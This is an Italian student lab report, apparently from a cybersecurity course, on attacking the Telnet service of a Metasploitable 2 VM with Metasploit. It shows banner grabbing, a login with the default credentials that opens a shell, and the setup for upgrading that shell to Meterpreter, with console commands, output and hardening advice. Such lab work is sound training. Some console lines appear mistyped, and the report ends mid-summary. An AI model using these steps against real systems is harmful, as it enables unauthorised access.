

Report:

EXPLOIT TELNET CON METASPLOIT

Amin El Kassimi

CyberSecurity
Paolo Rampino
Jan 4, 2026

Traccia dell'ersercizio

Fase 1: Scansione del Servizio Telnet

Utilizzare Metasploit per analizzare il servizio Telnet sulla macchina Metasploitable, adoperando il modulo auxiliary/scanner/telnet/telnet_version.

Fase 2: Autenticazione e Creazione della Sessione

L'obiettivo è ottenere l'accesso a Metasploitable 2 sfruttando le sue credenziali predefinite. Utilizzando il modulo **auxiliary/scanner/telnet/telnet_login** e impostati i seguenti parametri:

- Il target RHOSTS.
- Le credenziali note USERNAME e PASSWORD. L'opzione STOP_ON_SUCCESS su true.

Una volta eseguito con successo, il modulo stabilirà una sessione di comando

Fase 3: Gestione delle Sessioni

Verifica delle sessioni attive tramite il comando **sessions -l**. Per interagire con la sessione appena creata, **sessions -i > ID_sessione>**.

Fase 4: Upgrade della Sessione a Meterpreter

In background la sessione attiva usando la combinazione di tasti **Ctrl+Z** e confermando con **y** alla richiesta. Successivamente, si utilizza il modulo **post/multi/manage/shell_to_meterpreter** per eseguire l'upgrade della sessione a Meterpreter. Controllo delle opzioni con il comando **show options** e configurazione necessarie per completare l'operazione.

1. Fase 1

ScreenShott exploit del modulo auxiliary/scanner/telnet/telnet_version:

Cosa ha rilevato Metasploit:

1. **Servizio Telnet attivo** sulla porta 23 di 192.168.1.149.
 2. **Banner disclosure:** Il sistema risponde con un banner informativo che rivela:
 - Si tratta della VM **Metasploitable** (una macchina vulnerabile creata a scopo didattico).
 - Mostra un avviso: "*Never expose this VM to an untrusted network!*"
 - Fornisce le credenziali di default: msfadmin/msfadmin.
 - Mostra il prompt di login: metasploitable login:.

Problemi di sicurezza evidenziati:

- **Telnet è un protocollo insicuro:** Tutte le comunicazioni (comprese le credenziali) viaggiano in **testo chiaro**, senza cifratura.
 - **Banner informativo eccessivo:** Fornisce troppe informazioni a un potenziale attaccante (tipo di sistema, credenziali di default, avvertenze).
 - **Credenziali di default non cambiate:** Chiunque può tentare di autenticarsi con msfadmin/msfadmin.
 - **Esposizione alla rete:** La macchina è accessibile via Telnet dalla rete, il che la rende vulnerabile ad attacchi di brute force, sniffing, e exploit noti.

Raccomandazioni di sicurezza:

- **Disabilitare Telnet** e sostituirlo con **SSH** per accessi remoti sicuri.
 - 1. **Cambiare le credenziali di default** immediatamente.
 - 2. **Limitare l'accesso** alla porta 23 tramite firewall.
 - 3. **Non esporre mai una VM vulnerabile** a reti non controllate (come già segnalato nel banner).
 - 4. **Monitorare i log di accesso** per tentativi di login sospetti.
-

- cosa fa questo exploit come ha fatto a sapere le credenziali ?

Cosa fa esattamente il modulo `telnet_version`?

1. Si connette alla porta **23 (Telnet)** del target.
2. **Legge il banner** che il servizio Telnet invia automaticamente al client appena si stabilisce la connessione.
3. **Estrae e visualizza** il banner nella console di Metasploit.

Non sfrutta vulnerabilità, non tenta login forzati, non decrittografa nulla. Fa semplicemente quello che farebbe un client Telnet normale: si connette e riceve il messaggio di benvenuto. Le credenziali **erano già scritte nel banner** del servizio Telnet, in chiaro:

2. Fase 2

Sono state sfruttate le due credenziali predefinite. Utilizza il modulo **auxiliary/scanner/telnet/telnet_login** e imposta i seguenti parametri:

```
msf_on_success -> create
msf auxiliary(scanner/telnet/telnet_login) > options

Module options (auxiliary/scanner/telnet/telnet_login):

Name      Current Setting  Required  Description
----      --------------  -----  -----
ANONYMOUS_LOGIN  false      yes      Attempt to login with a blank username and password
BLANK_PASSWORDS  false      no       Try blank passwords for all users
BRUTEFORCE_SPEED 5         yes      How fast to bruteforce, from 0 to 5
CreateSession  true       no       Create a new session for every successful login
DB_ALL_CREDS  false      no       Try each user/password couple stored in the current database
DB_ALL_PASS   false      no       Add all passwords in the current database to the list
DB_ALL_USERS  false      no       Add all users in the current database to the list
DB_SKIP_EXISTING  none     no       Skip existing credentials stored in the current database (Accepted: none, user, user@realm)
PASSWORD      msfadmin    no       A specific password to authenticate with
PASS_FILE     -          no       File containing passwords, one per line
RHOSTS        192.168.1.149 yes      The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
REPORT        23        yes      The target port (TCP)
STOP_ON_SUCCESS  true     yes      Stop guessing when a credential works for a host
THREADS       1          yes      The number of concurrent threads (max one per host)
USERNAME      msfadmin    no       A specific username to authenticate as
USERPASS_FILE -          no       File containing users and passwords separated by space, one pair per line
USER_AS_PASS  false     no       Try the username as the password for all users
USER_FILE     -          no       File containing usernames, one per line
VERBOSE       true      yes      Whether to print output for all attempts

View the full module info with the info, or info -d command.

msf auxiliary(scanner/telnet/telnet_login) > exploit
[*] 192.168.1.149:23  - 192.168.1.149:23 - Login Successful: msfadmin:msfadmin
[*] 192.168.1.149:23  - Attempting to start session 192.168.1.149:23 with msfadmin:msfadmin
[*] Command shell session 1 opened (192.168.1.24:39617 → 192.168.1.149:23) at 2026-01-20 20:57:53 +0100
[*] 192.168.1.149:23  - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/telnet/telnet_login) >
```

Verifica delle sessioni attive tramite il comando **sessions -l**. Per interagire con la sessione appena creata:

```
msf auxiliary(scanner/telnet/telnet_login) > sessions -l

Active sessions
=====
Id  Name  Type  Information                                     Connection
--  --   --   --                                            --
1   shell  TELNET msfadmin:msfadmin (192.168.1.149:23)  192.168.1.24:39617 → 192.168.1.149:23 (192.168.1.149)
```

3. Fase 3

Verifica delle sessioni attive tramite il comando **sessions -l**. Per interagire con la sessione appena creata

```
msf auxiliary(scanner/telnet/telnet_login) > session -1
[-] Unknown command: session. Did you mean sessions? Run the help command for more details.
msf auxiliary(scanner/telnet/telnet_login) > sessions -1
[*] Starting interaction with 1...

msfadmin@metasploitable:~$ ^Z
Background session 1? [y/N] y
msf auxiliary(scanner/telnet/telnet_login) > search post/multi/manage/shell_to_meterpreter

Matching Modules
=====
#   Name                               Disclosure Date  Rank    Check  Description
-   --
0   post/multi/manage/shell_to_meterpreter .           normal  No     Shell to Meterpreter Upgrade

Interact with a module by name or index. For example info 0, use 0 or use post/multi/manage/shell_to_meterpreter

msf auxiliary(scanner/telnet/telnet_login) > use 0
msf post(multi/manage/shell_to_meterpreter) > show options

Module options (post/multi/manage/shell_to_meterpreter):
=====
Name      Current Setting  Required  Description
----      ----           ----       -----
HANDLER   true            yes        Start an exploit/multi/handler to receive the connection
LHOST     no              no         IP of host that will receive the connection from the payload (will try to auto detect).
LPORT     4433            yes        Port for payload to connect to.
SESSION   yes             yes        The session to run this module on

View the full module info with the info, or info -d command.
```

4. Fase 4

Mettere in background la sessione attiva usando la combinazione di tasti **Ctrl+Z** e confermando con **y** alla richiesta. Successivamente, si utilizza il modulo **post/multi/manage/shell_to_meterpreter** per eseguire l'upgrade della sessione a Meterpreter.

Controllare le opzioni con il comando **show options** ed effettua tutte le configurazioni necessarie per completare l'operazione.

```
msf auxiliary(scanner/telnet/telnet_login) > use 0
msf post(multi/manage/shell_to_meterpreter) > show options

Module options (post/multi/manage/shell_to_meterpreter):

Name      Current Setting  Required  Description
-----  -----  -----
HANDLER   true            yes       Start an exploit/multi/handler to receive the connection
LHOST     no              no        IP of host that will receive the connection from the payload (will try to auto detect).
LPORT     4433            yes       Port for payload to connect to.
SESSION    yes            yes       The session to run this module on

View the full module info with the info, or info -d command.

msf post(multi/manage/shell_to_meterpreter) > set RHOSTS 192.168.1.149
[!] Unknown datastore option: RHOSTS.
RHOSTS => 192.168.1.149
msf post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
```

4. Conclusion

Riassunto sul flusso completo del ciclo di exploitation:

Fase 1: Ricognizione / Information Gathering

- Modulo: auxiliary/scanner/telnet/telnet_version
- Scopo: Identificare il servizio Telnet attivo e raccogliere informazioni dal banner.
- **Tecnica:** Banner grabbing / Service fingerprinting

Fase 2: Accesso Iniziale / Initial Access

- Modulo: auxiliary/scanner/telnet/telnet_login
- Scopo: Sfruttare credenziali note (default o weak) per autenticarsi.
- **Tecnica:** Credential-based attack (password guessing con credenziali note)

Fase 3: Post-Exploitation Iniziale / Session Establishment

- Comando: sessions -i <ID>
- Scopo: Stabilire una shell interattiva sul target.
- **Tecnica:** Shell session interaction

Fase 4: Potenziamento Sessione / Privilege & Capability Enhancement

- Modulo: post/multi/manage/shell_to_meterpreter
- Scopo: Migliorare la shell base in una sessione Meterpreter più potente e stabile.
- **Tecnica:** Session upgrading / Post-exploitation tooling

🎯 Riassunto in una sequenza logica di attacco:

